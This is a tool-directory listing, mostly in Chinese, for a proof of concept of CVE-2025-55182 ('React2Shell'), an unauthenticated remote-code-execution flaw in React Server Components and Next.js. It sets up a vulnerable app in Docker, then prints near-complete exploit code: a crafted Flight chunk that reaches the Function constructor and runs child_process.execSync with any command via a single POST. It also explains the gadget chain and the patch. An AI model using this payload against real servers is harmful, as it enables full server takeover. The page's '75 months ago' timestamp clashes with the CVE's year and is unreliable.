Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2025-55182-poc — CVE-2025-55182 (React2Shell) 的概念验证:通过Flight协议反序列化在React Server Components / Next.js中的未认证远程代码执行。 | Kitploit
工具/GitHubGitHub/monarchfish/cve-2025-55182-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

CVE-2025-55182 (React2Shell) 的概念验证:通过Flight协议反序列化在React Server Components / Next.js中的未认证远程代码执行。

查看仓库
75个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

基本資訊

CVE-2025-55182 是 2025 年影響最廣的 Web 框架漏洞之一。React Server Components(RSC)已是現代 Next.js 應用的主流架構,大量以 create-next-app 建立的標準專案皆在受影響範圍內,且無需任何客製化程式碼即可被利用。

項目內容
CVE 編號CVE-2025-55182
別稱React2Shell
漏洞類型未認證遠端程式碼執行(Unauthenticated RCE);CWE-502 反序列化不可信資料(Deserialization of Untrusted Data)[3]
CVSS 評分10.0(Critical)(CVSS 3.1,Facebook/CNA [2])
受影響套件react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack
受影響版本React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 以上、15.x、16.x
攻擊複雜度極低(單一 HTTP POST 請求)
是否需要認證否

POC 建立流程

1. 使用官方語法建立 App

使用含有漏洞的版本(16.0.6)建立 Next 應用:

root@kitploit:~
pnpm create [email protected] next-app --yes

2. 建立測試用 Server Action

  1. 在 next-app/app/ 下新增 actions.ts,標記為 Server Action:

    root@kitploit:~
    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. 在首頁(例如 app/page.tsx)加入表單,action 指向上述 testAction,並至少包含一個欄位(例如 hidden input)。

    Next.js 會為該表單在 HTML 中產生 name="$ACTION_ID_<40 字元 hex>" 的 hidden input;POC 會從首頁 HTML 以正則取出此 ID。

3. 建立安全的容器化 POC 環境

專案內 next-app/Dockerfile 與 docker-compose.yml 可用於建置並執行 Next 應用,撰寫方式可參考官方範例 [8]。

在專案根目錄執行:

root@kitploit:~
docker compose up --build -d

即可在 http://localhost:3000 存取已啟動的 Next 應用。

POC 結束後,完整移除 Docker 環境:

root@kitploit:~
docker compose down -v

漏洞利用步驟

步驟一:取得 ACTION_ID

執行 POC 時,腳本會 fetch 首頁並以正則 \$ACTION_ID_([a-f0-9]{40})/ 取出 ID。範例:

root@kitploit:~
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

步驟二:執行漏洞利用

在專案根目錄安裝依賴後執行:

root@kitploit:~
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

關鍵程式碼片段如下:

root@kitploit:~
function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

以下以在目標主機寫入檔案為例:

root@kitploit:~
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

步驟三:觀察結果

  • RCE 成功時,伺服器可能在執行指令後卡住或逾時,此時 request 會 timeout,屬預期行為。
  • 請在目標主機上確認指令是否已執行(例如檢查檔案、process)。
  • 可使用 docker compose exec 進入容器查看,或透過 Docker Desktop 操作。

原理說明

漏洞位置

漏洞位於 React 的 Flight 協議反序列化機制(RSC Flight Deserializer)。此機制負責在伺服器與客戶端之間傳遞 React 元件狀態,但處理流程存在嚴重的信任邊界問題。

React Flight 協定是 React 為 Server Components 與 Server Actions 設計的線路格式(wire format):將元件樹、函式參數等序列化成以 JSON 表示的 chunk 流,並透過 $數字、$數字:鍵名 在 chunk 之間建立引用,讓伺服器還原出完整的 JavaScript 值。

利用鏈(Exploit Chain)

root@kitploit:~
攻擊者發送惡意 HTTP POST
        ↓
[階段 1] 建立自我參照迴圈物件(Self-referential loop)
        ↓
[階段 2] 誘騙 JavaScript 引擎呼叫攻擊者控制的函式
        ↓
[階段 3] 注入惡意資料觸發 Flight 初始化流程
        ↓
[階段 4] 透過 Blob Handler 呼叫 Function constructor
        ↓
任意 JavaScript 在伺服器端執行(RCE)

React Server 與傳輸格式

React 的 Server Functions(在 Next.js 中即 Server Actions)會將前端要傳給後端的資料,透過 React Flight 協定 序列化成「一塊一塊」的 chunk,再以表單(form data)送出。

此設計的優點包括:

  • 串流傳輸:chunk 可依序產生與解析,不必等整個 payload 就緒,利於延遲與記憶體控制。
  • 去重與共享:同一筆資料只序列化一次,多處以引用指向,減少重複與傳輸量。
  • 相容表單 POST:chunk 以 multipart 欄位傳送,無需自訂 binary 協定,也利於既有 CDN、代理與除錯。
  • 可表達複雜結構:支援巢狀物件與以引用表達的圖形結構,滿足 RPC 所需的豐富型別。

Chunk 之間可互相引用,例如:

  • chunk 0:["$1"](引用第 1 塊)
  • chunk 1:{"object":"fruit","name":"$2:fruitName"}(引用第 2 塊的 fruitName)
  • chunk 2:{"fruitName":"cherry"}

伺服器解讀後得到:{ object: 'fruit', name: 'cherry' }。亦即協定允許以 $數字:鍵名 指向其他 chunk 的屬性,再組合成最終的 JavaScript 物件。

漏洞成因

修補前的實作在解析這些引用時,未嚴格檢查「該鍵是否真的存在於該物件自身」,攻擊者因此可透過引用讀取 物件原型(prototype) 上的屬性。

例如可構造如下 payload:

  • chunk 0:["$1:__proto__:constructor:constructor"]
  • chunk 1:{"x":1}

伺服器解析「chunk 1 的 __proto__ → constructor → constructor」時,會取得 Function 建構式([Function: Function]),即「以字串建出函式」的內建建構式。亦即:透過不當的引用鏈,可在伺服器端取得 Function,進而將字串當成程式碼執行。

thenable 與 await

Next.js 收到表單後,會以 decodeReplyFromBusboy 將 chunk 還原成一個值,並對該值做 await。

在 JavaScript 中,若物件具有 .then 方法,即會被視為 thenable;await 時會呼叫此 .then。因此若能使「解碼結果」的 .then 指向攻擊者控制的函式(例如前述的 Function 建構式),在 await 當下就會執行該邏輯。攻擊的下一步即:構造一個「解碼後形同 thenable」的物件,並將其 .then 指向預期的呼叫點(call gadget)。

從「假 chunk」到 RCE

  1. 以 $@0 引用「原始 chunk」
    協定中 $@數字 表示「取第 N 塊的原始內容,不再往下解析」。因此可讓 chunk 1 為 "$@0",使解析過程讀取「chunk 0 自身」的原始表示。

  2. 將 chunk 0 的 .then 指向 Chunk 的 prototype
    若 chunk 0 為物件且形如 {"then": "$1:__proto__:then", ...},chunk 1 為 "$@0",解析時會把 chunk 0 的 .then 設為 Chunk.prototype.then(Flight 協定中 Chunk 本身為 thenable)。如此一來,當 Next.js 對解碼結果做 await 時,就會進入 Chunk 的 .then 邏輯。

  3. 觸發 initializeModelChunk
    在 Chunk.prototype.then 中,若該「假 chunk」的 status 為 "resolved_model",會進入 initializeModelChunk。此處會將 chunk 的 value 當作 JSON 解析,並對解析出的物件進行一輪「復活」(revive),其中會處理各種特殊前綴(例如 開頭的 blob 引用)。

修補方式(摘要)

React 在 PR #35277 [9](commit e2fd5dc [10])中修補此漏洞,重點有二:

  1. 限制屬性解析不沿 prototype 鏈
    在 requireModule 等解析 chunk 引用的邏輯中,改為先以 hasOwnProperty 檢查「該鍵是否真的存在於該物件自身」;若否,則回傳 undefined,不再從 __proto__ 取得 constructor 等不應暴露的屬性。此修改套用於多個 Flight 相關模組(如 ReactFlightClientConfigBundlerNode、ReactFlightClientConfigBundlerWebpack 及 Parcel / Turbopack 對應設定),阻斷「透過引用取得 Function 建構式 → 構造 thenable → 觸發 get gadget 執行任意程式碼」的利用鏈。

  2. decodeReplyFromBusboy 的錯誤處理
    在解析 form data(resolveField、resolveFileComplete 等)時加入 try/catch,一旦解析拋錯即呼叫 busboyStream.destroy(error),使錯誤正確傳遞並避免串流處於不一致狀態,降低解析異常時的可利用面。


參考連結

  1. NVD — CVE-2025-55182
  2. CVSS 3.1 計算(Facebook/CNA)
  3. CWE-502 — Deserialization of Untrusted Data
  4. React 官方公告 — Critical security vulnerability in React Server Components
  5. Facebook 資安公告 — CVE-2025-55182
  6. CISA 已知遭利用漏洞目錄
  7. Next.js 資安公告 — RCE in React Server Components
  8. Next.js with-docker 範例 Dockerfile
  9. React PR #35277 — Patch FlightReplyServer with fixes from ReactFlightClient
  10. React PR #35277 的具體變更(commit e2fd5dc)
  11. POC參考
下载工具
$B
  • 呼叫點:_response._formData.get(_prefix + id)
    處理 $B 前綴時,程式會執行:
    response._formData.get(response._prefix + 某個 id)。
    若在假 chunk 中透過 _response 控制 _formData 與 _prefix,並將 _formData.get 指向 Function 建構式、_prefix 設為欲執行的程式碼字串,該行即變為:
    Function("我們寫的程式碼" + "0")
    亦即「以字串建出一個函式」。此函式會作為該 chunk 的 .then 回傳值,並在同一 promise 鏈中被 await 呼叫,從而在伺服器上執行我們的程式碼。

  • 實際 RCE
    將「我們寫的程式碼」改為例如:
    process.mainModule.require('child_process').execSync('要執行的系統指令');
    即可在伺服器上達成 遠端程式碼執行(RCE)。